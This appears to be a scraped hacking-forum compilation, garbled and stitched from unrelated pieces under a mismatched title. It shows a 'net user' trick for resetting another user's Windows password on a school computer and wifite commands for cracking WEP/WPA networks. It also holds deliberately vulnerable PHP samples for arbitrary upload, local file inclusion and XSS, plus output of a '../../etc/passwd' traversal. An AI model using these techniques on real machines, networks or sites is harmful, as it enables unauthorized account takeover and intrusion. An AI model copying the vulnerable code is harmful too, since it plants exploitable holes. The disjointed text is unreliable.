Recover Or Reset Ur Windows Pwd Using Ubuntu , By h4ckfreak
@echo off command comand.com pause
. Next, you type in the words "net users" or "net user", they are the same. Once the command completes, you will see a screen that lists all the users on the computer. Make sure you see your target user, because if you dont then you might be connected through a different server (which makes it a little more complicated 
). Once you see your target user, type the words "net user [target] *". Make sure you include a space between the user and the astarix*, otherwise the command might not work correctly. Type in the SAME password for both fields, but you will not see what you are typing. Push enter to go from the first field to the second field and enter again to go from the second field to finishing the command. If the words "The command completed successfully." pop-up on the screen, the password has been changed into the password you typed, without the original password 
! . Some computers, such as school computers, do not have the run button on the start menu. In these cases, you need to do different ways (such as what I have done to my school computer 
). First, you need to make sure you have notepad. If you see the notepad icon under the start>programs>accessories>notepad, then skip the next paragraph and move on. .
wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.pychange permissions to executable:
chmod +x wifite.pyexecute:
python wifite.pyor, to see a list of commands with info:
./wifite.py -help
./wifite.py -all -nowpato crack all WEP access points with signal strength greater than (or equal to) 50dB:
./wifite.py -p 50 -nowpato attack all access points, use 'darkc0de.lst' for cracking WPA handshakes:
./wifite.py -all --dict /pentest/passwords/wordlists/darkc0de.lstto attack all WPA access points, but do not try to crack -- any captured handshakes are saved automatically:
./wifite.py -all -nowpa --dict noneto crack all WEP access points greater than 50dB in strength, giving 15 minutes for each WEP attack method, and send packets at 600 packets/sec:
./wifite.py --power 50 -wepw 15 -pps 600to attempt to crack WEP-encrypted access point "2WIRE752" endlessly -- program will not stop until key is cracked or user interrrupts with ^C):
./wifite.py -e "2WIRE752" -wepw 0
thanks to google code
<?php
/**
* @author lionaneesh
* @copyright 2011
* @page upload.php
*/
// If the upload request has been made , Upload the file
$uploadMessage = "";
if (isset($_POST['upload']))
{
$path = $_FILES['uploadFile']['name'];
if(move_uploaded_file($_FILES['uploadFile']['tmp_name'],$path) == TRUE)
{
$uploadMessage = "File Uploaded <a href='$path'>HERE</a>";
}
}
?>
<html>
<head>
<title>Welcome to Vulnerable Apps</title>
</head>
<body>
<h1>Arbitary file upload ( POC )</h1>
<hr />
<p>Hey all this is a sample php script to upload image files , This script doesn't contains file type checking code which makes it prone to Arbitary file upload vulnerbility. </p>
<hr />
<h2>Upload</h2>
<hr />
<table>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" enctype="multipart/form-data">
<tr>
<td width="100">Upload File </td>
<td width="380"><input class="cmd" type="file" name="uploadFile"/></td>
<td><input style="margin-left:20px;" type="submit" name="upload" class="own" value="Upload"/></td>
</tr>
</form>
</table>
<?php
echo $uploadMessage;
?>
</body>
</html>
<html> <head> <title>Vulnerable to LFI -- by lionaneesh</title> </head> <body> <h1>Welcome to this Website</h1> <?php $page = isset($_GET['page']) ? $_GET['page'] : 'index.html'; ?> <p>You are currently at <?php echo"<a href='$page'>$page</a>";?></p> <?php include($page); ?> </body> </html>
<p>Hello I am a sample page my name is index.html</p>
Welcome to this Website You are currently at index.html Hello I am a sample page my name is index.html
../../etc/passwd
Welcome to this Website You are currently at ../../etc/passwd root:x:0:1:Super-User:/root:/sbin/sh daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer Admin:/usr/spool/lp: uucp:x:5:5:uucp Admin:/usr/lib/uucp: nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/
<html>
<head>
<title>Vulnerable to LFI -- by lionaneesh</title>
</head>
<body>
<h1>Welcome to this Website</h1>
<p>You are currently at <a href='http://go4expert.com'>http://go4expert.com</a>
</p> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html dir="ltr" lang="en" xmlns="http://www.w3.org/1999/xhtml"><head> <meta http-equiv="Cache-Control" content="no-cache" /> <meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<title>Programming and SEO Forums </title>
<!-- ChartBeat -->
<script type="text/javascript">var _sf_startpt=(new Date()).getTime()</script>
<!-- /ChartBeat -->
--------Sniped-----------
<html> <head> <title>Vulnerable to XSS</title> </head> </html> <body> <h1>Welcome to XSS Demo Page</h1> <p>The Data Entered is As Follows :- </p> <?php /** * @author lionaneesh * @copyright 2011 */ if(isset($_GET['data'])) { $data = $_GET['data']; } else { $data = "No Data Entered !"; } echo "<i>$data</i>"; ?> </body>
